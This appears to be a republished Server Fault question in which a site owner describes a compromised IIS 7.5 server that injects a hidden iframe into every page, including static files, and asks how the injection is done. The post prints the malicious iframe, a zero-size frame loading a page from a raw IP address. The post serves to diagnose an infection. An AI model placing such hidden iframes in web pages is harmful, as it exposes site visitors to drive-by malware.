What is the technique used to make my IIS 7 serve all pages with an injected iframe

Posted by Andre Carlucci on Server Fault See other posts from Server Fault or by Andre Carlucci
Published on 2012-06-16T23:56:48Z Indexed on 2012/06/17 3:19 UTC
Read the original article Hit count: 222

Filed under:

Since my previous question was closed without an answer, I'm changing it a bit and asking again.

All my pages are being served with an malicious iframe injected just before the html tag.

The code looks like this:

<iframe src= http://117.21.247.171:700/1.htm width=0 height=0></iframe>                                                                                                                                                                                                                                   
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" dir="ltr" lang="pt-BR"> ...

Firstly I thought it could be something related with wordpress, but my asp.net sites are also infected and even if I create a static html file with nothing inside, the iframe is injected.

I'm using a Windows Server 2008 R2 Standard with IIS7.5 7600.

Anyone knows how to do this in IIS?

© Server Fault or respective owner

Related posts about iis7.5